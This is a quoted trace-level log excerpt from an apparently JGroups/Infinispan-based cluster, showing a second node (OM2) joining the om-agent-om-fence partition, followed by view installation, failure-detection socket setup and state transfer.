> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-15,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-16,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [PING] (OOB-16,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:49:00,475 TRACE [PING] (Timer-4,<ADDR>) discovery took 2012 ms: responses: 1 total (1 servers (1 coord), 0 clients)
> 2013-08-30 09:49:00,475 TRACE [MERGE2] (Timer-4,<ADDR>) Discovery results:
> [OM1:1299]: [OM1:1299|0] [OM1:1299]
> 2013-08-30 09:49:00,834 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: setting latest_local_digest from NAKACK: [OM1:1299#2]
> 2013-08-30 09:49:00,834 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: sending stable msg [OM1:1299#2]
> 2013-08-30 09:49:00,834 TRACE [NAKACK] (Timer-2,<ADDR>) sending OM1:1299#3
> 2013-08-30 09:49:00,834 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:00,834 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:00,834 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:00,834 TRACE [UDP] (OOB-18,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:00,834 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM1:1299#3
> 2013-08-30 09:49:00,834 TRACE [STABLE] (OOB-17,null) OM1:1299: handling digest from OM1:1299 (0 votes):
> mine:   [OM1:1299#1]
> other:  [OM1:1299#2]
> result: [OM1:1299#1]
> 2013-08-30 09:49:00,834 TRACE [STABLE] (OOB-17,null) OM1:1299: sending stability msg (in 780 ms) [OM1:1299#1] (copy=1081264483)
> 2013-08-30 09:49:01,630 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: sending stability msg [OM1:1299#1] (copy=1081264483)
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (Timer-4,<ADDR>) sending OM1:1299#4
> 2013-08-30 09:49:01,630 TRACE [UDP] (Timer-4,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:01,630 TRACE [UDP] (Timer-4,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:01,630 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:01,630 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM1:1299#4
> 2013-08-30 09:49:01,630 TRACE [STABLE] (OOB-19,null) OM1:1299: received stability msg from OM1:1299: [OM1:1299#1]
> 2013-08-30 09:49:01,630 TRACE [STABLE] (OOB-19,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#3]
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) received stable digest OM1:1299: [0 : 1 (2)]
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) deleting msgs <= 1 from OM1:1299
> 2013-08-30 09:49:25,638 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: 0877da68-118d-d463-ca8c-57545e902c09 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=0877da68-118d-d463-ca8c-57545e902c09, view id=null, is_server=false, is_coord=false, logical_name=OM2:1299, physical_addrs=192.168.1.201:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,638 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM2:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400]
> 2013-08-30 09:49:25,638 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,716 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[JOIN_REQ]: mbr=OM2:1299, UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,716 TRACE [UNICAST] (OOB-19,null) OM1:1299 <-- DATA(OM2:1299: #1, first)
> 2013-08-30 09:49:25,732 TRACE [UNICAST] (OOB-19,null) OM1:1299: created receiver window for OM2:1299 at seqno=#1 for conn-id=0
> 2013-08-30 09:49:25,732 TRACE [UNICAST] (OOB-19,null) OM1:1299 --> ACK(OM2:1299: #1)
> 2013-08-30 09:49:25,732 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,794 DEBUG [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) new=[OM2:1299], suspected=[], leaving=[], new view: [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,794 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#5
> 2013-08-30 09:49:25,794 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,794 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
> 2013-08-30 09:49:25,794 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM1:1299#5
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-2,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 DEBUG [FLUSH] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: flush coordinator  is starting FLUSH with participants [OM1:1299]
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-1,null) OM1:1299: created connection to OM1:1299
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-1,null) OM1:1299 --> DATA(OM1:1299: #1, conn_id=0, first)
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-1,null) sending msg to OM1:1299, src=OM1:1299, headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=0], UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 DEBUG [FLUSH] (Incoming-1,null) OM1:1299: received START_FLUSH, responded with FLUSH_COMPLETED to OM1:1299
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-3,null) received [dst: OM1:1299, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=0], UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299 <-- DATA(OM1:1299: #1, first)
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299: created receiver window for OM1:1299 at seqno=#1 for conn-id=0
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299 --> ACK(OM1:1299: #1)
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-3,null) sending msg to OM1:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-4,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 TRACE [UNICAST] (Incoming-4,null) OM1:1299 <-- ACK(OM1:1299: #1)
> 2013-08-30 09:49:25,810 DEBUG [FLUSH] (Incoming-3,null) OM1:1299: FLUSH_COMPLETED from OM1:1299, completed true, flushMembers [OM1:1299], flushCompleted [OM1:1299]
> 2013-08-30 09:49:25,825 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: successful GMS flush by coordinator
> 2013-08-30 09:49:25,825 DEBUG [FLUSH] (Incoming-3,null) OM1:1299: all FLUSH_COMPLETED received
> 2013-08-30 09:49:25,825 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) suspending message garbage collection
> 2013-08-30 09:49:25,825 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) resume task started, max_suspend_time=33000
> 2013-08-30 09:49:25,825 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: mcasting view {[OM1:1299|1] [OM1:1299, OM2:1299]} (2 mbrs)
> 2013-08-30 09:49:25,825 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#6
> 2013-08-30 09:49:25,825 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
> 2013-08-30 09:49:25,825 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#6
> 2013-08-30 09:49:25,825 TRACE [UDP] (Incoming-6,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 DEBUG [NAKACK] (Incoming-5,null) 
> [setDigest()]
> existing digest:  OM1:1299: [1 : 6 (6)]
> new digest:       OM2:1299: [0 : 0], OM1:1299: [1 : 5 (5)]
> resulting digest: OM2:1299: [0 : 0 (0)], OM1:1299: [1 : 6 (6)]
> 2013-08-30 09:49:25,825 DEBUG [GMS] (Incoming-5,null) OM1:1299: view is [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,825 TRACE [VIEW_SYNC] (Incoming-5,null) view send task started
> 2013-08-30 09:49:25,825 DEBUG [FD_SOCK] (Incoming-5,null) VIEW_CHANGE received: [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:25,841 TRACE [STABLE] (Incoming-5,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:49:25,841 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 TRACE [UFC] (Incoming-5,null) new membership: [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [FD_SOCK] (OOB-19,null) i-have-sock: OM1:1299 --> 192.168.1.200:54400 (cache is {OM1:1299=192.168.1.200:54400})
> 2013-08-30 09:49:25,841 TRACE [MFC] (Incoming-5,null) new membership: [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) pinger_thread started
> 2013-08-30 09:49:25,841 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 DEBUG [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) ping_dest is OM2:1299, pingable_mbrs=[OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (Incoming-5,null) New cluster view for partition om-agent-om-fence (id: 1, delta: 1, merge: false) : [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) sending msg to OM2:1299, src=OM1:1299, headers are FD_SOCK: WHO_HAS_SOCK, mbr=OM2:1299, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 INFO  [JGroupsTransport] (Incoming-5,null) Received new cluster view: [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) I am (OM1:1299) received membershipChanged event:
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) Dead members: 0 ([])
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) New Members : 1 ([OM2:1299])
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) All Members : 2 ([OM1:1299, OM2:1299])
> 2013-08-30 09:49:25,857 DEBUG [FLUSH] (Incoming-5,null) OM1:1299: installing view [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> DATA(OM1:1299: #2, conn_id=0)
> 2013-08-30 09:49:25,857 TRACE [UDP] (Incoming-5,null) sending msg to OM1:1299, src=OM1:1299, headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM1:1299: #2)
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM1:1299: #2)
> 2013-08-30 09:49:25,857 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received all ACKs (1) from existing members for view [OM1:1299|1]
> 2013-08-30 09:49:25,857 TRACE [UDP] (OOB-20,null) sending msg to OM1:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: created connection to OM2:1299
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299 --> DATA(OM2:1299: #1, conn_id=1, first)
> 2013-08-30 09:49:25,857 TRACE [UDP] (Incoming-7,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (Incoming-7,null) OM1:1299 <-- ACK(OM1:1299: #2)
> 2013-08-30 09:49:25,857 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to OM2:1299, src=OM1:1299, headers are GMS: GmsHeader[JOIN_RSP]: join_rsp=view: [OM1:1299|1] [OM1:1299, OM2:1299], digest: OM2:1299: [0 : 0], OM1:1299: [1 : 5 (5)], UNICAST: DATA, seqno=1, conn_id=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,075 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM2:1299, sock_addr=192.168.1.201:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,075 TRACE [FD_SOCK] (OOB-20,null) i-have-sock: OM2:1299 --> 192.168.1.201:54400 (cache is {OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400})
> 2013-08-30 09:49:26,075 TRACE [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) ping_dest=OM2:1299, ping_sock=Socket[addr=/192.168.1.201,port=54400,localport=50257], cache={OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400}
> 2013-08-30 09:49:26,106 TRACE [UDP] (Incoming-8,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,106 TRACE [UNICAST] (Incoming-8,null) OM1:1299 <-- ACK(OM2:1299: #1)
> 2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM2:1299, sock_addr=192.168.1.201:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,122 TRACE [FD_SOCK] (OOB-20,null) i-have-sock: OM2:1299 --> 192.168.1.201:54400 (cache is {OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400})
> 2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: GET_CACHE, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are FD_SOCK: GET_CACHE_RSP, cache={OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400}, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,137 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,137 TRACE [FD_SOCK] (FD_SOCK server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) accepted connection from /192.168.1.201:63697
> 2013-08-30 09:49:26,137 TRACE [FD_SOCK] (FD_SOCK server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) waiting for client connections on OM1/192.168.1.200:54400
> 2013-08-30 09:49:26,137 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #2)
> 2013-08-30 09:49:26,137 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #2)
> 2013-08-30 09:49:26,137 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received all ACKs (1) from joiners for view [OM1:1299|1]
> 2013-08-30 09:49:26,153 TRACE [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: resetting digest from NAKACK: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:49:26,153 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) resuming message garbage collection
> 2013-08-30 09:49:26,153 DEBUG [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: sending RESUME event
> 2013-08-30 09:49:26,153 DEBUG [FLUSH] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received RESUME, sending STOP_FLUSH to all
> 2013-08-30 09:49:26,153 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#7
> 2013-08-30 09:49:26,153 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
> 2013-08-30 09:49:26,153 TRACE [UDP] (Incoming-9,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 TRACE [NAKACK] (Incoming-9,null) OM1:1299: received OM1:1299#7
> 2013-08-30 09:49:26,153 TRACE [UDP] (Incoming-10,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 DEBUG [FLUSH] (Incoming-9,null) OM1:1299: received STOP_FLUSH, unblocking FLUSH.down() and sending UNBLOCK up
> 2013-08-30 09:49:26,293 TRACE [UDP] (Incoming-11,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,293 TRACE [UNICAST] (Incoming-11,null) OM1:1299 <-- DATA(OM2:1299: #3)
> 2013-08-30 09:49:26,293 TRACE [UNICAST] (Incoming-11,null) OM1:1299 --> ACK(OM2:1299: #3)
> 2013-08-30 09:49:26,293 TRACE [UDP] (Incoming-11,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-11,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
> 2013-08-30 09:49:26,309 TRACE [UNICAST] (Incoming-11,null) OM1:1299 --> DATA(OM2:1299: #2, conn_id=1)
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:26,309 TRACE [UDP] (Incoming-11,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=2, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,309 TRACE [UDP] (Incoming-12,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,309 TRACE [UNICAST] (Incoming-12,null) OM1:1299 <-- ACK(OM2:1299: #2)
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63698 handing of to PooledExecutor thread
> 2013-08-30 09:49:26,325 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63698, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
> 2013-08-30 09:49:26,512 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Generating state.  Can provide? true
> 2013-08-30 09:49:26,590 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Writing 1 StoredEntries to stream
> 2013-08-30 09:49:26,715 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, UNICAST: DATA, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,715 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #4)
> 2013-08-30 09:49:26,715 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 2
> 2013-08-30 09:49:26,746 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 2 to OM2:1299
> 2013-08-30 09:49:26,746 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #3, conn_id=1)
> 2013-08-30 09:49:26,746 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=2, rsp_expected=false, UNICAST: DATA, seqno=3, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
